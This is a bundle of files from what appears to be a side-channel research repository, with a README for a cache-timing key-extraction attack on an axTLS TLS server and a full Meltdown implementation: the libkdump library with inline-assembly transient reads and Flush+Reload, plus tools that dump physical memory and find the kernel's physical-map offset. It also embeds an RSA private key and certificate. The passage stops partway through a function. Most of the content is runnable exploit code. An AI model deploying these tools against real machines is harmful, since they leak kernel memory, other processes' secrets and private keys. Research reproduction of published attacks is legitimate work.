and once it installed succesfully.
```
	make menuconfig

	-> BigInt Options
		-> Untick all algorithms except "Square Algorithm"
		-> save changes
```

## Threshold Calculation:

This implantation contains a tool to generate memory access timings for READ operation from both cache and main memory. Threshold is taken as average of cache and main memory access time for this implementation, Threshold varies for different machines. This tool requires gnuplot and its dependencies must be installed on machine before usage. Threshold on our specified machine is 180-cycles.

## Attack:

This attack is single round attack which able to extract full key in single encryptions. After compilations, attack can be run as:
This attack requires axTLS server running in different process to work, server can executed using following commands:

```
	export LD_LIBRARY_PATH= PATH_TO_AXTLS_SERVER/axtls-code/_stage/

	//run server

	./axhttpd -p 127.0.0.1:8081 -s 127.0.0.1:8443 -key axtls-root/ssl/server.key -cert axtls-root/ssl/server.crt -w axtls-root/www
```

once server is running succesfully, attack can be run as:

```
	./spy 127.0.0.1 8443
```

or attack can be run in loop (20 times) on terminal of ubuntu using run script. This attack have limitations as described in paper by Yarom, thus running in loop will increase chance of getting full key.

```
	./run.sh
```

## Configurations:

This attack requires some machine specific details, you need to edit ?config? file and set it according to your machine, such as:

```
AXTLSLIB: Contains path to axTLS Library "libaxtls.so.1" for

LIBCRYPTO_SQUARE_OFFSET: offset to instruction which execute many time during single function (bi_square) call,. e.g., loop starting point
LIBCRYPTO_MULTIPLY_OFFSET: offset to instruction which execute many time during single function (bi_terminate) call,. e.g., loop starting point
LIBCRYPTO_BARRETT_OFFSET: offset to instruction which execute many time during single function (bi_subtract) call,. e.g., loop starting point

THRESHOLD: Your machine threshold.

SQUARE_HIT: No. of traces captured in single square function call to consider as 1 call,. e.g,. 10
MUTLIPLE_HIT: No. of traces captured in single multiple function call to consider as 1 call,. e.g,. 10

ORIGINALKEY: Key to compare with retrieved key,. XOR results.
```

offsets for bi_square, bi_terminate and bi_subtract can be find by disassembling library using following commands:

```
	objdump -d libaxtls.so.1 > analysis
```


text:
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDL+7gbPF69P/AKs1qx6ARZ67HXRgRjA8cnynNNm3pllsKfKUJ2
P6YEokOTuUNA/dX/g05rhZEPSMeYgqzcGoo6Nf0MGA7er2Sum3tQFwmrWkKFSPvU
ifot5UTewN5qNjPFqsmczvs3bVIxAcyIRbW6Suwls0JkdPsC7RilrVmG9wIDAQAB
AoGATR8Mim+WuiKUVNdesOixzHWKNYPpYK4q++ZVFcB01DfduWNWF3MVB6d5uT5Q
KSBPal1wpsJHB+pSXFz7kfQO0iqOS5IY8k7yIU7fy6BEQ3hMh1WQYo1+zu+z5fyr
rJ4S7cLJye7oPi5v9cjfuG6eNACstTeGOAEPs2Q+KpTyMPECQQDmQICXTecgqOfQ
iyKBzD2ph/PPH62inIf7eXUddNHKJZG0M7H19WKFi4tAvogzU4yhigaOxyqf5w16
E6AO2bLtAkEA4ss29uxGBJfxg7MiCAwmFeWyXw/0QkAdkfydmePeXuB59BG/CLEP
C6ArdX5QQ2lST0MwhKJopIBK9JWTQYFw8wJBANzF5katnLsVGUk9z3VzV4CRafYk
osGzozM970yyMWHJih6mHrH+elwgRAJtbn0AVGyjwsvuLnGqAqMV5De5B7UCQD06
OZuODBUfZC93BAACL6IHwhESAJKGNrV76pxqPVWF6saup9FT48jys+jjcg3Q+Ey3
yfh01CVdEV9YpkmwBWsCQFoxGZWZOUUvgt6mItzPzHjxtCuUUUdtcZisB5awsRje
3e0ZIADcefV8ucnxI60E84sgjZSr4SPmuMdwlIdydEc=
-----END RSA PRIVATE KEY-----


text:
-----BEGIN CERTIFICATE REQUEST-----
MIIBhDCB7gIBADBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEh
MB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIGfMA0GCSqGSIb3DQEB
AQUAA4GNADCBiQKBgQDL+7gbPF69P/AKs1qx6ARZ67HXRgRjA8cnynNNm3pllsKf
KUJ2P6YEokOTuUNA/dX/g05rhZEPSMeYgqzcGoo6Nf0MGA7er2Sum3tQFwmrWkKF
SPvUifot5UTewN5qNjPFqsmczvs3bVIxAcyIRbW6Suwls0JkdPsC7RilrVmG9wID
AQABoAAwDQYJKoZIhvcNAQELBQADgYEAgRYXARkb1h4WHBdTWGHUh7WLIdSpyV3V
S10brbl5M/Mk1dVHbA8dob7PdveTcjAg312aOARH4iY+lVHNjzETrSQqJ1FJreid
ogqNFery76XRf8jbmjedyUcG8jmm4V2qeCgQWSHkd2Bq13bW1Ewsvd/9SkI7m7Cm
kyUUu/8Q0sg=
-----END CERTIFICATE REQUEST-----


text:
#!/bin/sh
openssl genrsa 1024 > server.key
openssl req -new -key server.key > server.csr
openssl x509 -req -in server.csr -out server.crt -signkey server.key


text:
-----BEGIN CERTIFICATE-----
MIICATCCAWoCCQD7HALVBGlMzDANBgkqhkiG9w0BAQsFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTE2MDIyOTEyMzQwMFoXDTE2MDMzMDEyMzQwMFowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAy/u4
GzxevT/wCrNasegEWeux10YEYwPHJ8pzTZt6ZZbCnylCdj+mBKJDk7lDQP3V/4NO
a4WRD0jHmIKs3BqKOjX9DBgO3q9krpt7UBcJq1pChUj71In6LeVE3sDeajYzxarJ
nM77N21SMQHMiEW1ukrsJbNCZHT7Au0Ypa1ZhvcCAwEAATANBgkqhkiG9w0BAQsF
AAOBgQCfjHc7LGDf6AXSX21XWXpc0augDVx3OA6+vQ7k6n7fsfkYClis73hkoGkQ
b+g5dRKltPwVHWNHK6aGpEt9lDLEBJC9yHCITmS3wl7sBRnJCkiIl0Rc16F/cQMZ
bJ+SqF9fYxifxS0vlzLdcY+hSUdfrmdgczPgowq32+LxfxOtdQ==
-----END CERTIFICATE-----


text:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
  size_t phys;
  if (argc < 2) {
    printf("Usage: %s <physical address> [<direct physical map>]\n", argv[0]);
    return 0;
  }

  phys = strtoull(argv[1], NULL, 0);

  libkdump_config_t config;
  config = libkdump_get_autoconfig();
  if (argc > 2) {
    config.physical_offset = strtoull(argv[2], NULL, 0);
  }

  libkdump_init(config);

  size_t vaddr = libkdump_phys_to_virt(phys);

  printf("\x1b[32;1m[+]\x1b[0m Physical address       : \x1b[33;1m0x%zx\x1b[0m\n", phys);
  printf("\x1b[32;1m[+]\x1b[0m Physical offset        : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
  printf("\x1b[32;1m[+]\x1b[0m Reading virtual address: \x1b[33;1m0x%zx\x1b[0m\n\n", vaddr);

  while (1) {
    int value = libkdump_read(vaddr);
    printf("%c", value);
    fflush(stdout);
    vaddr++;
  }

  libkdump_cleanup();

  return 0;
}


text:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
  size_t scratch[4096];
  libkdump_config_t config;
  size_t offset = DEFAULT_PHYSICAL_OFFSET;
#ifdef __x86_64__
  size_t step = 0x800000000ll;
#else
  size_t step = 0x1000000;
#endif
  size_t delta = -2 * step;
  int progress = 0;

  libkdump_enable_debug(0);

  config = libkdump_get_autoconfig();
  config.retries = 10;
  config.measurements = 1;

  libkdump_init(config);

  size_t var = (size_t)(scratch + 2048);
  *(char *)var = 'X';

  size_t start = libkdump_virt_to_phys(var);
  if (!start) {
    printf("\x1b[31;1m[!]\x1b[0m Program requires root privileges (or read access to /proc/<pid>/pagemap)!\n");
    exit(1);
  }

  while (1) {
    *(volatile char *)var = 'X';
    *(volatile char *)var = 'X';
    *(volatile char *)var = 'X';
    *(volatile char *)var = 'X';
    *(volatile char *)var = 'X';

    int res = libkdump_read(start + offset + delta);
    if (res == 'X') {
      printf("\r\x1b[32;1m[+]\x1b[0m Direct physical map offset: \x1b[33;1m0x%zx\x1b[0m\n", offset + delta);
      fflush(stdout);
      break;
    } else {
      delta += step;
      if (delta >= -1ull - offset) {
        delta = 0;
        step >>= 4;
      }
      printf("\r\x1b[34;1m[%c]\x1b[0m 0x%zx    ", "/-\\|"[(progress++ / 400) % 4], offset + delta);
    }
  }

  libkdump_cleanup();

  return 0;
}


text:
#include "libkdump.h"
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

const char *strings[] = {
    "If you can read this, this is really bad",
    "Burn after reading this string, it is a secret string",
    "Congratulations, you just spied on an application",
    "Wow, you broke the security boundary between user space and kernel",
    "Welcome to the wonderful world of microarchitectural attacks",
    "Please wait while we steal your secrets...",
    "Don't panic... But your CPU is broken and your data is not safe",
    "How can you read this? You should not read this!"};

int main(int argc, char *argv[]) {
  libkdump_config_t config;
  config = libkdump_get_autoconfig();
  libkdump_init(config);

  srand(time(NULL));
  const char *secret = strings[rand() % (sizeof(strings) / sizeof(strings[0]))];
  int len = strlen(secret);

  printf("\x1b[32;1m[+]\x1b[0m Secret: \x1b[33;1m%s\x1b[0m\n", secret);

  size_t paddr = libkdump_virt_to_phys((size_t)secret);
  if (!paddr) {
    printf("\x1b[31;1m[!]\x1b[0m Program requires root privileges (or read access to /proc/<pid>/pagemap)!\n");
    libkdump_cleanup();
    exit(1);
  }

  printf("\x1b[32;1m[+]\x1b[0m Physical address of secret: \x1b[32;1m0x%zx\x1b[0m\n", paddr);
  printf("\x1b[32;1m[+]\x1b[0m Exit with \x1b[37;1mCtrl+C\x1b[0m if you are done reading the secret\n");
  while (1) {
    // keep string cached for better results
    volatile size_t dummy = 0, i;
    for (i = 0; i < len; i++) {
      dummy += secret[i];
    }
    sched_yield();
  }

  libkdump_cleanup();

  return 0;
}


text:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int argc, char *argv[]) {
  size_t scratch[4096];
  libkdump_config_t config;
  size_t offset = DEFAULT_PHYSICAL_OFFSET;
  int progress = 0;
  unsigned char secret = 'X';

  if(argc == 2) {
    offset = strtoull(argv[1], NULL, 0);
    printf("\x1b[33;1m[+]\x1b[0m Setting physical offset to 0x%zx\n", offset);
  }

  libkdump_enable_debug(0);

  config = libkdump_get_autoconfig();
  config.retries = 10;
  config.measurements = 2;
  config.physical_offset = offset;

  libkdump_init(config);

  size_t var = (size_t)(scratch + 2048);
  *(char*)var = secret;

  size_t start = libkdump_virt_to_phys(var);
  if (!start) {
    printf("\x1b[31;1m[!]\x1b[0m Program requires root privileges (or read access to /proc/<pid>/pagemap)!\n");
    exit(1);
  }

  srand(time(NULL));

  size_t correct = 0, wrong = 0, failcounter = 0;
  size_t phys = libkdump_phys_to_virt(start);
  while (1) {
    *(volatile unsigned char*)var = secret;

    int res = libkdump_read(phys);
    if (res == secret) {
      correct++;
    } else if(res != 0) {
      wrong++;
    } else {
      failcounter++;
      if(failcounter < 1000) {
        continue;
      } else {
        failcounter = 0;
        wrong++;
      }
    }
    printf("\r\x1b[34;1m[%c]\x1b[0m Success rate: %.2f%% (read %zd values)    ", "/-\\|"[(progress++ / 100) % 4], (100.f * (double)correct) / (double)(correct + wrong), correct + wrong);
    fflush(stdout);
    secret = (rand() % 255) + 1;
  }

  libkdump_cleanup();

  return 0;
}


text:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char *strings[] = {
    "If you can read this, this is really bad",
    "Burn after reading this string, it is a secret string",
    "Congratulations, you just spied on an application",
    "Wow, you broke the security boundary between user space and kernel",
    "Welcome to the wonderful world of microarchitectural attacks",
    "Please wait while we steal your secrets...",
    "Don't panic... But your CPU is broken and your data is not safe",
    "How can you read this? You should not read this!"};

int main(int argc, char *argv[]) {
  if (argc != 2) {
    printf("Usage: %s <gigabytes to fill>\n", argv[0]);
    return 0;
  }

  size_t size = strtoull(argv[1], NULL, 0);
  if (!size) {
    printf("\x1b[31;1m[!]\x1b[0m Invalid size!\n");
    return 1;
  }

  size_t bytesize = size * 1024ull * 1024ull * 1024ull;
  char *memory = malloc(bytesize);
  if (!memory) {
    printf("\x1b[31;1m[!]\x1b[0m Could not allocate %zd GB memory, try less!\n", size);
    return 1;
  }

  int lens[sizeof(strings) / sizeof(strings[0])];
  int i;
  for (i = 0; i < sizeof(strings) / sizeof(strings[0]); i++) {
    lens[i] = strlen(strings[i]);
  }

  size_t pos = 0;
  while (pos < bytesize) {
    int string_index = rand() % (sizeof(strings) / sizeof(strings[0]));
    if (lens[string_index] + pos < bytesize) {
      memcpy(memory + pos, strings[string_index], lens[string_index]);
      pos += lens[string_index];
    } else {
      break;
    }
  }

  printf("\x1b[32;1m[+]\x1b[0m Press any key if you are done reading the secret\n");
  getchar();
  printf("\x1b[32;1m[+]\x1b[0m Done!\n");

  free(memory);
}


text:
override CFLAGS += -O3 -pthread -Wno-attributes -m64
CC=gcc

#BINARIES=test kaslr physical_reader

SOURCES := $(wildcard *.c)
BINARIES := $(SOURCES:%.c=%)

all: $(BINARIES)

libkdump/libkdump.a:  libkdump/libkdump.c
	make -C libkdump

%: %.c libkdump/libkdump.a
	$(CC) $< -o $@ -m64 -Llibkdump -Ilibkdump -lkdump -static $(CFLAGS)

clean:
	rm -f *.o $(BINARIES)
	make clean -C libkdump


text:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

static int running = 1;

void sigint(int signum __attribute__((unused))) {
  running = 0;
}

int main(int argc, char *argv[]) {
  size_t phys = 1ull * 1024ull * 1024ull * 1024ull; // start at first gigabyte
  size_t size = (size_t)-1ULL;
  if (argc >= 2) {
    phys = strtoull(argv[1], NULL, 0);
  }
  if (argc >= 3) {
    size = strtoull(argv[2], NULL, 0);
  }

  int width = 16; // characters per line
  int suppress_empty = 1;

  libkdump_config_t config;
  config = libkdump_get_autoconfig();
  config.retries = 10;
  config.measurements = 2;
  if (argc >= 4) {
    config.physical_offset = strtoull(argv[3], NULL, 0);
  }

  libkdump_init(config);

  size_t vaddr = libkdump_phys_to_virt(phys);

  if (vaddr == -1ULL) {
    fprintf(stderr, "Error converting physical to virtual address\n");
    return -1;
  }

  printf(
      "\x1b[32;1m[+]\x1b[0m Physical address       : \x1b[33;1m0x%zx\x1b[0m\n", phys);
  printf("\x1b[32;1m[+]\x1b[0m Physical offset        : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
  printf(
      "\x1b[32;1m[+]\x1b[0m Virtual address       : \x1b[33;1m0x%zx\x1b[0m\n", vaddr);

  if (width > size)
     width = size;

  size_t delta = 0;
  int i;
  char *buffer = malloc(width);

  signal(SIGINT, sigint);

  while (running && delta < size) {
    int value = libkdump_read(vaddr + delta);
    buffer[delta % width] = value;

    if (delta % width == width - 1) {
      int skip = 1;
      for (i = 0; i < width; i++) {
        if (buffer[i]) {
          skip = 0;
          break;
        }
      }
      if (skip && suppress_empty) {
        delta++;
        continue;
      }

      printf("%10zx: ", delta + phys - (width - 1));
      printf("| ");
      for (i = 0; i < width; i++) {
        printf("%02x ", (unsigned char)buffer[i]);
      }
      printf("| ");
      for (i = 0; i < width; i++) {
        printf("%c", (buffer[i] >= 32 && buffer[i] <= 126) ? buffer[i] : '.');
      }
      printf(" |\n");
    }
    delta++;
  }

  free(buffer);
  libkdump_cleanup();

  return 0;
}


text:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

const char *strings[] = {
    "If you can read this, at least the auto configuration is working",
    "Generating witty test message...",
    "Go ahead with the real exploit if you dare",
    "Have a good day.",
    "Welcome to the wonderful world of microarchitectural attacks",
    "Pay no attention to the content of this string",
    "Please wait while we steal your secrets...",
    "Would you like fries with that?",
    "(insert random quote here)",
    "Don't panic...",
    "Wait, do you smell something burning?",
    "How did you get here?"};

int main(int argc, char *argv[]) {
  libkdump_config_t config;
  config = libkdump_get_autoconfig();
  libkdump_init(config);

  srand(time(NULL));
  const char *test = strings[rand() % (sizeof(strings) / sizeof(strings[0]))];
  int index = 0;

  printf("Expect: \x1b[32;1m%s\x1b[0m\n", test);
  printf("   Got: \x1b[33;1m");
  while (index < strlen(test)) {
    int value = libkdump_read((size_t)(test + index));
    printf("%c", value);
    fflush(stdout);
    index++;
  }

  printf("\x1b[0m\n");
  libkdump_cleanup();

  return 0;
}


text:
# Meltdown Attack Implementation code on x86

Meltdown attack is proposed by Moritz Lipp et al. in their research paper entitled, Meltdown: Reading Kernel Memory from User Space at 27th {USENIX} Security Symposium ({USENIX} Security 18) in 2018. This attack exploits un-authorized access to kernal space memery and allow adversaries to read complete physical memory at user level. This attack exploit out-of-order executions and with combination of cache-based side channel attack (Flush+Reload) as covert channel able to read kernal memory without necessary permissions. This implmenentation use same code as available at (https://github.com/IAIK/meltdown).

## Machine Specifications:

Intel Core i7_4770 CPU @ 3.40GHz
CPU: 8, L1d Cache: 32KB, L1i Cache : 32KB L2 Cache : 256KB, L3 Cache : 8192 KB
Ubuntu 16.04.3 LTS, Kernel: Linux 4.10.0-28-generic

## Attack

Compile attack using
```
    make
```

### 1. Test

```
    taskset 0x1 ./test
```

### 2. Attack - Reading physical memory

Run secret application which contian some secret data.

```
    sudo ./secret
```

Copy the physical location of secret data and run adversary.

```
    taskset 0x1 ./physical_reader 0x390fff400
```

## Note

This attack requires KASLR disabled, if KASLR is enabled, this attack will not work. To disable KASLR use 'nopti' and 'nokaslr' as kernal parameters.

For more details, please look at (https://github.com/IAIK/meltdown).


text:
#include "libkdump.h"
#include <cpuid.h>
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdlib.h>
#include <unistd.h>

libkdump_config_t libkdump_auto_config = {0};

// ---------------------------------------------------------------------------
static jmp_buf buf;

static char *_mem = NULL, *mem = NULL;
static pthread_t *load_thread;
static size_t phys = 0;
static int dbg = 0;

static libkdump_config_t config;

#ifndef ETIME
#define ETIME 62
#endif

#if defined(NO_TSX) && defined(FORCE_TSX)
#error NO_TSX and FORCE_TSX cannot be used together!
#endif

#ifndef NO_TSX
#define _XBEGIN_STARTED (~0u)
#endif

#if defined(__i386__) && defined(FORCE_TSX)
#undef FORCE_TSX
#warning TSX cannot be forced on __i386__ platform, proceeding with compilation without it
#endif

#ifdef __x86_64__

// ---------------------------------------------------------------------------
#define meltdown                                                               \
  asm volatile("1:\n"                                                          \
               "movq (%%rsi), %%rsi\n"                                         \
               "movzx (%%rcx), %%rax\n"                                         \
               "shl $12, %%rax\n"                                              \
               "jz 1b\n"                                                       \
               "movq (%%rbx,%%rax,1), %%rbx\n"                                 \
               :                                                               \
               : "c"(phys), "b"(mem), "S"(0)                                   \
               : "rax");

// ---------------------------------------------------------------------------
#define meltdown_nonull                                                        \
  asm volatile("1:\n"                                                          \
               "movzx (%%rcx), %%rax\n"                                         \
               "shl $12, %%rax\n"                                              \
               "jz 1b\n"                                                       \
               "movq (%%rbx,%%rax,1), %%rbx\n"                                 \
               :                                                               \
               : "c"(phys), "b"(mem)                                           \
               : "rax");

// ---------------------------------------------------------------------------
#define meltdown_fast                                                          \
  asm volatile("movzx (%%rcx), %%rax\n"                                         \
               "shl $12, %%rax\n"                                              \
               "movq (%%rbx,%%rax,1), %%rbx\n"                                 \
               :                                                               \
               : "c"(phys), "b"(mem)                                           \
               : "rax");

#else /* __i386__ */

// ---------------------------------------------------------------------------
#define meltdown                                                               \
 asm volatile("1:\n"                                                           \
              "movl (%%esi), %%esi\n"                                          \
              "movzx (%%ecx), %%eax\n"                                          \
              "shl $12, %%eax\n"                                               \
              "jz 1b\n"                                                        \
              "mov (%%ebx,%%eax,1), %%ebx\n"                                   \
              :                                                                \
              : "c"(phys), "b"(mem), "S"(0)                                    \
              : "eax");

// ---------------------------------------------------------------------------
#define meltdown_nonull                                                        \
  asm volatile("1:\n"                                                          \
               "movzx (%%ecx), %%eax\n"                                         \
               "shl $12, %%eax\n"                                              \
               "jz 1b\n"                                                       \
               "mov (%%ebx,%%eax,1), %%ebx\n"                                  \
               :                                                               \
               : "c"(phys), "b"(mem)                                           \
               : "eax");

// ---------------------------------------------------------------------------
#define meltdown_fast                                                          \
  asm volatile("movzx (%%ecx), %%eax\n"                                         \
               "shl $12, %%eax\n"                                              \
               "mov (%%ebx,%%eax,1), %%ebx\n"                                  \
               :                                                               \
               : "c"(phys), "b"(mem)                                           \
               : "eax");
#endif

#ifndef MELTDOWN
#define MELTDOWN meltdown_nonull
#endif

// ---------------------------------------------------------------------------
typedef enum { ERROR, INFO, SUCCESS } d_sym_t;

// ---------------------------------------------------------------------------
static void debug(d_sym_t symbol, const char *fmt, ...) {
  if (!dbg)
    return;

  switch (symbol) {
  case ERROR:
    printf("\x1b[31;1m[-]\x1b[0m ");
    break;
  case INFO:
    printf("\x1b[33;1m[.]\x1b[0m ");
    break;
  case SUCCESS:
    printf("\x1b[32;1m[+]\x1b[0m ");
    break;
  default:
    break;
  }
  va_list ap;
  va_start(ap, fmt);
  vfprintf(stdout, fmt, ap);
  va_end(ap);
}

// ---------------------------------------------------------------------------
static inline uint64_t rdtsc() {
  uint64_t a = 0, d = 0;
  asm volatile("mfence");
#if defined(USE_RDTSCP) && defined(__x86_64__)
  asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
#elif defined(USE_RDTSCP) && defined(__i386__)
  asm volatile("rdtscp" : "=A"(a), :: "ecx");
#elif defined(__x86_64__)
  asm volatile("rdtsc" : "=a"(a), "=d"(d));
#elif defined(__i386__)
  asm volatile("rdtsc" : "=A"(a));
#endif
  a = (d << 32) | a;
  asm volatile("mfence");
  return a;
}

#if defined(__x86_64__)
// ---------------------------------------------------------------------------
static inline void maccess(void *p) {
  asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax");
}

// ---------------------------------------------------------------------------
static void flush(void *p) {
  asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax");
}
#else
// ---------------------------------------------------------------------------
static inline void maccess(void *p) {
  asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax");
}

// ---------------------------------------------------------------------------
static void flush(void *p) {
  asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax");
}
#endif

// ---------------------------------------------------------------------------
static int __attribute__((always_inline)) flush_reload(void *ptr) {
  uint64_t start = 0, end = 0;

  start = rdtsc();
  maccess(ptr);
  end = rdtsc();

  flush(ptr);

  if (end - start < config.cache_miss_threshold) {
    return 1;
  }
  return 0;
}

// ---------------------------------------------------------------------------
static void *nopthread(void *dummy) {
  while (1) {
    asm volatile("nop");
  }
}

// ---------------------------------------------------------------------------
static void *syncthread(void *dummy) {
  while (1) {
    sync();
  }
}

// ---------------------------------------------------------------------------
static void *yieldthread(void *dummy) {
  while (1) {
    sched_yield();
  }
}

#ifndef NO_TSX
// ---------------------------------------------------------------------------
static __attribute__((always_inline)) inline unsigned int xbegin(void) {
  unsigned status;
  //asm volatile("xbegin 1f \n 1:" : "=a"(status) : "a"(-1UL) : "memory");
  asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory");
  return status;
}

// ---------------------------------------------------------------------------
static __attribute__((always_inline)) inline void xend(void) {
  //asm volatile("xend" ::: "memory");
  asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory");
}
#endif

// ---------------------------------------------------------------------------
size_t libkdump_virt_to_phys(size_t virtual_address) {
  static int pagemap = -1;
  if (pagemap == -1) {
    pagemap = open("/proc/self/pagemap", O_RDONLY);
    if (pagemap < 0) {
      errno = EPERM;
      return 0;
    }
  }
  uint64_t value;
  int got = pread(pagemap, &value, 8, (virtual_address / 0x1000) * 8);
  if (got != 8) {
    errno = EPERM;
    return 0;
  }
  uint64_t page_frame_number = value & ((1ULL << 54) - 1);
  if (page_frame_number == 0) {
    errno = EPERM;
    return 0;
  }
  return page_frame_number * 0x1000 + virtual_address % 0x1000;
}

// ---------------------------------------------------------------------------
static int check_tsx() {
#if !defined(NO_TSX) && !defined(FORCE_TSX)
  if (__get_cpuid_max(0, NULL) >= 7) {
    unsigned a, b, c, d;
    __cpuid_count(7, 0, a, b, c, d);
    return (b & (1 << 11)) ? 1 : 0;
  } else
    return 0;
#elif defined(FORCE_TSX)
  return 1;
#else /* defined (NO_TSX) */
  return 0;
#endif
}

// ---------------------------------------------------------------------------
static void detect_fault_handling() {
  if (check_tsx()) {
    debug(SUCCESS, "Using Intel TSX\n");
    config.fault_handling = TSX;
  } else {
    debug(INFO, "No Intel TSX, fallback to signal handler\n");
    config.fault_handling = SIGNAL_HANDLER;
  }
}

// ---------------------------------------------------------------------------
static void detect_flush_reload_threshold() {
  size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
  size_t dummy[16];
  size_t *ptr = dummy + 8;
  uint64_t start = 0, end = 0;

  maccess(ptr);
  for (i = 0; i < count; i++) {
    start = rdtsc();
    maccess(ptr);
    end = rdtsc();
    reload_time += (end - start);
  }
  for (i = 0; i < count; i++) {
    start = rdtsc();
    maccess(ptr);
    end = rdtsc();
    flush(ptr);
    flush_reload_time += (end - start);
  }
  reload_time /= count;
  flush_reload_time /= count;

  debug(INFO, "Flush+Reload: %zd cycles, Reload only: %zd cycles\n",
        flush_reload_time, reload_time);
  config.cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3;
  debug(SUCCESS, "Flush+Reload threshold: %zd cycles\n",
        config.cache_miss_threshold);
}

// ---------------------------------------------------------------------------
static void auto_config() {
  debug(INFO, "Auto configuration\n");
  detect_fault_handling();
  detect_flush_reload_threshold();
  config.measurements = 3;
  config.accept_after = 1;
  config.load_threads = 1;
  config.load_type = NOP;
  config.retries = 10000;
  config.physical_offset = DEFAULT_PHYSICAL_OFFSET;
}

// ---------------------------------------------------------------------------
static int check_config() {
  if (config.cache_miss_threshold <= 0) {
    detect_flush_reload_threshold();
  }
  if (config.cache_miss_threshold <= 0) {
    errno = ETIME;
    return -1;
  }
  return 0;
}

// ---------------------------------------------------------------------------
static void unblock_signal(int signum __attribute__((__unused__))) {
  sigset_t sigs;
  sigemptyset(&sigs);
  sigaddset(&sigs, signum);
  sigprocmask(SIG_UNBLOCK, &sigs, NULL);
}

// ---------------------------------------------------------------------------
static void segfault_handler(int signum) {
  (void)signum;
  unblock_signal(SIGSEGV);
  longjmp(buf, 1);
}

// ---------------------------------------------------------------------------
libkdump_config_t libkdump_get_autoconfig() {
  auto_config();
  return config;
}

// ---------------------------------------------------------------------------
int libkdump_init(const libkdump_config_t configuration) {
  int j;
  config = configuration;
  if (memcmp(&config, &libkdump_auto_config, sizeof(libkdump_config_t)) == 0) {
    auto_config();
  }

  int err = check_config();
  if (err != 0) {
    errno = err;
    return -1;
  }
  _mem = malloc(4096 * 300);
  if (!_mem) {
    errno = ENOMEM;
    return -1;
  }
  mem = (char *)(((size_t)_mem & ~0xfff) + 0x1000 * 2);
  memset(mem, 0xab, 4096 * 290);

  for (j = 0; j < 256; j++) {
    flush(mem + j * 4096);
  }

  load_thread = malloc(sizeof(pthread_t) * config.load_threads);
  void *thread_func;
  switch (config.load_type) {
  case IO:
    thread_func = syncthread;
    break;
  case YIELD:
    thread_func = yieldthread;
    break;
  case NOP:
  default:
    thread_func = nopthread;
  }

  for (j = 0; j < config.load_threads; j++) {
    int r = pthread_create(&load_thread[j], 0, thread_func, 0);
    if (r != 0) {
      int k;
      for (k = 0; k < j; k++) {
        pthread_cancel(load_thread[k]);
      }
      free(load_thread);
      free(_mem);
      errno = r;
      return -1;
    }
  }
  debug(SUCCESS, "Started %d load threads\n", config.load_threads);

  if (config.fault_handling == SIGNAL_HANDLER) {
    if (signal(SIGSEGV, segfault_handler) == SIG_ERR) {
      debug(ERROR, "Failed to setup signal handler\n");
      libkdump_cleanup();
      return -1;
    }
    debug(SUCCESS, "Successfully setup signal handler\n");
  }
  return 0;
}

// ---------------------------------------------------------------------------
int libkdump_cleanup() {
  int j;
  if (config.fault_handling == SIGNAL_HANDLER) {
    signal(SIGSEGV, SIG_DFL);
  }

  for (j = 0; j < config.load_threads; j++) {
    pthread_cancel(load_thread[j]);
  }
  free(load_thread);
  free(_mem);
  debug(SUCCESS, "Everything is cleaned up, good bye!\n");
  return 0;
}

// ---------------------------------------------------------------------------
size_t libkdump_phys_to_virt(size_t addr) {
  /* we are given full address (kernel or physical) here */
  if (addr + config.physical_offset < config.physical_offset)
    return addr;

#ifdef __x86_64__
  /* address given is bigger than identity mapping 64TB  */
  if (addr >= (64ULL * 1024ULL * 1024ULL * 1024ULL * 1024ULL)) {
    debug(ERROR, "phys_to_virt argument is > 64 TB\n");
    return -1ULL;
  }
#endif

  return addr + config.physical_offset;
}

// ---------------------------------------------------------------------------
void libkdump_enable_debug(int enable) { dbg = enable; }

// ---------------------------------------------------------------------------
static int __attribute__((always_inline)) read_value() {
  int i, hit = 0;
  for (i = 0; i < 256; i++) {
    if (flush_reload(mem + i * 4096)) {
      hit = i + 1;
    }
    sched_yield();
  }
  return hit - 1;
}

// ---------------------------------------------------------------------------
int __attribute__((optimize("-Os"), noinline)) libkdump_read_tsx() {
#ifndef NO_TSX
  size_t retries = config.retries + 1;
  uint64_t start = 0, end = 0;

  while (retries--) {
    if (xbegin() == _XBEGIN_STARTED) {
      MELTDOWN;
      xend();
    }
    int i;
    for (i = 0; i < 256; i++) {
      if (flush_reload(mem + i * 4096)) {
        if (i >= 1) {
          return i;
        }
      }
      sched_yield();
    }
    sched_yield();
  }
#endif
  return 0;
}

// ---------------------------------------------------------------------------
int __attribute__((optimize("-Os"), noinline)) libkdump_read_signal_handler() {
